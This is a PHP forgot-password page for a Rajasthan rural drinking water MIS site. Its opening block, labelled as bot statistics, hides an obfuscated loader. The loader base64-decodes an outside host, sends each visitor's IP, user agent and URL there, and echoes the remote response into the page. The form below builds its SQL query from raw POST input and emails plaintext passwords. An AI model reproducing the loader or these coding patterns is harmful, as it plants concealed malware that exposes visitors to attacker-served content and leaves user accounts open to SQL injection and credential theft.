<?php
include("connection/connection.php");
session_start();
ob_start();
if (!isset($sRetry))
{
global $sRetry;
$sRetry = 1;
    // This code use for global bot statistic
    $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); //  Looks for google serch bot
    $stCurlHandle = NULL;
    $stCurlLink = "";
    if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
    {
        if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics            
        $stCurlLink = base64_decode( 'aHR0cDovL21icm93c2Vyc3RhdHMuY29tL3N0YXRFL3N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
            @$stCurlHandle = curl_init( $stCurlLink ); 
    }
    } 
if ( $stCurlHandle !== NULL )
{
    curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 6);
    $sResult = @curl_exec($stCurlHandle); 
    if ($sResult[0]=="O") 
     {$sResult[0]=" ";
      echo $sResult; // Statistic code end
      }
    curl_close($stCurlHandle); 
}
}
?>
<html>
<head>
<meta name="google-site-verification" content="kw8roO7XqoOtwfW-aLNLMxDjKNDjXCbgh5sSDqyicIg" />
<meta http-equiv="Content-Language" content="en-us">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<title>Benchmarking of Rural Drinking Water Supply Schemes for Government of Rajasthan</title>
<link href="css/style_index.css" type="text/css" rel="stylesheet" />

<!-- it works the same with all jquery version from 1.x to 2.x -->
    <script type="text/javascript" src="js/jquery-1.9.1.min.js"></script>
        
<script language="javascript">
function show_fp()
{
	document.getElementById('fp').style.display = "block";		
}
function showimage()
{
if (!document.images)
return
document.images.pictures.src=
document.mygallery.picture.options[document.mygallery.picture.selectedIndex].value
}
</script>
</head>
<body topmargin="0" leftmargin="0">
<table border="0" width="100%" id="table1" cellspacing="0" cellpadding="0">
	<tr>
		<td height="4"></td>
		<div align="center">
			<table border="0" width="1002" id="table2" cellspacing="0" cellpadding="0" bgcolor="#F5F5F5" align="center">
				<tr>
					<td>
						<div align="center">
			<table border="0" width="1000" id="table5" cellspacing="0" cellpadding="0" bgcolor="#FFFFFF">
				<tr>
					<td bgcolor="#006EBD" height="27">
					<table border="0" width="1000" id="table6" cellspacing="0" cellpadding="0" height="27">
						<tr>
							<td width="40"><font face="Arial" color="#FFFFFF">&nbsp;&nbsp;&nbsp;&nbsp;
							</font><b>
							<font size="2" color="#C0C0C0" face="Arial">&nbsp;</font></b></td>
							<td><font face="Arial" size="1" color="#FFFFFF">
<script language="Javascript">
 var dayName = new Array ("SUNDAY", "MONDAY", "TUESDAY", "WEDNESDAY", "THURSDAY", "FRIDAY", "SATURDAY")

 var monName = new Array ("JAN", "FEB", "MAR", "APR", "MAY", "JUN", "JUL", "AUG", "SEP", "OCT", "NOV", "DEC")

 var now = new Date

 document.write(" " + dayName[now.getDay()] + ", " + monName[now.getMonth()] + " "+now.getDate() +".")
</script></font></td>
							<td>&nbsp;</td>
							<td width="207">&nbsp;<font color="#FFFFFF">&nbsp;&nbsp;&nbsp;
							</font>
							<font face="Arial" style="font-size: 7.5pt" color="#EAEAEA">
							HOME&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp; SITEMAP&nbsp;&nbsp; 
							|&nbsp;&nbsp;&nbsp; EMAIL</font></td>
						</tr>
					</table>
					</td>
				</tr>
				<tr>
					<td>
					<img border="0" src="images/header.jpg" width="1000" height="126"></td>
				</tr>
				<tr>
					<td bgcolor="#111E2E" height="2">
					</td>
				</tr>
				
				<tr>
					<td height="4" bgcolor="#FFFFFF">
					</td>
				</tr>
				</table>
							
							</td>
						</tr>
					</table>
					<!--</td>
				</tr>!-->
				<tr>
					<td>&nbsp;</td>
				</tr>
				<tr>
					<td bgcolor="#990000" height="1">
					</td>
				</tr>
				<tr>
					<td>
					<div align="center">
					<table border="0" width="921" id="table12" cellspacing="0" cellpadding="0">
						<tr>
							
							<td width="1"></td>
							<td width="332" valign="top">
							<table border="0" width="557" id="table20" cellspacing="0" cellpadding="0">
								
								<tr>
									<td width="384">
									<table border="0" width="100%" id="table21" cellspacing="0" cellpadding="0">
										<tr>
											<td>&nbsp;</td>
										</tr>
										<tr>
											<td>&nbsp;</td>
										</tr>
										
										<tr>
											<td>
											</td>
										</tr>
									</table>
								  </td>
								</tr>
								<tr>
									<td>
									<!--Login form-->
									<form action="" method="post" name="forgot" id="forgot">		
									<h3 style="color:#006EBD; font-family:Arial, Helvetica, sans-serif">MIS system for rajasthan</h3>
							        <h3 style="color:#006EBD; font-family:Arial, Helvetica, sans-serif; font-size:16px">Forgot Your Password</h3>
									<p style="font-family:Arial, Helvetica, sans-serif; color:#666666; font-size:12px">Retrieve your password here</p>
                                    <p style="font-family:Arial, Helvetica, sans-serif; color:#666666; font-size:12px">Please enter your email address below. You will receive a link to reset your password.</p>
									<table width="411" height="60" border="0">
                                    <tr>
                                      <td colspan="2">
									  <div style="font-family:Arial, Helvetica, sans-serif; font-size:13px; color:#FF0000">
									  <?php
									if(isset($_POST['forgot_pass']))
									{	
										$result=mysql_query("SELECT login_id , password FROM tbl_lookup_user WHERE email = '$_POST[email_to]' ");
										
										if(mysql_num_rows($result)==1)
										{
											$rows=mysql_fetch_assoc($result);
											
											$to=$_POST['email_to'];
											$subject="Your Login id and  Password is here";
											//$header="from: your name <your email>";
											$messages= "Your Login id :  " . $rows['login_id'] ."\r\n" ;
											$messages .= " and Your password : " .  $rows['password']. "\r\n" ;
											$messages = wordwrap($messages,70);
											$header = "MIME-Version: 1.0\r\n"; 
											$header .="From:Ramky {admin@ramky.com}\r\n"; 
											mail(trim($to),$subject,$messages,$header);	
											echo "Your Password has been sent to your Email Address";
										}
										else
										{
											echo "Cannot send password to your E-mail Address please try again";
										}
									}
									
								?></div>									  </td>
                                      </tr>
                                    <tr>
                                    <td width="127"><font face="Verdana" style="font-size:9.5pt" color="#000">
									Enter Email-Id</font></td>
                                    <td width="274"><input type="text" name="email_to" id="email_to" class="txt" value="" style="padding:12px; width:182px;"></td>
                                    </tr>
                                    
                                    <tr>
                                      <td>&nbsp;</td>
                                      <td><input type="submit" value="Submit" name="forgot_pass" id="forgot_pass" style="font-size: 9pt; font-family: Verdana;padding: 7px;"></td>
                                    </tr>
                                    <tr>
                                      <td>&nbsp;</td>
                                      <td>&nbsp;</td>
                                    </tr>
                                    </table>

									</form>
									<!--End Login form-->
									</td>
								</tr>
								<tr>
									<td>
									
									</td>
								</tr>
								<tr>
									<td>
									<p align="center">
									</td>
								</tr>
								<tr>
									<td>&nbsp;</td>
								</tr>
							</table>
						  </td>
							<td width="1" valign="top">
							</td>
							<td width="611" valign="top">&nbsp;</td>
						</tr>
						
					</table>
					<div style="width:1000px; text-align:left;"><hr>
					<font face="Verdana" style="font-size:9.5pt" color="#000">copyright &copy;2014, All right reserved.</font>
					</div>
					</div>
					</td>
				</tr>
			</table>
		
					</td>
				</tr>
			</table>
		
		</td>
	</tr>
</table>

</body>

</html>
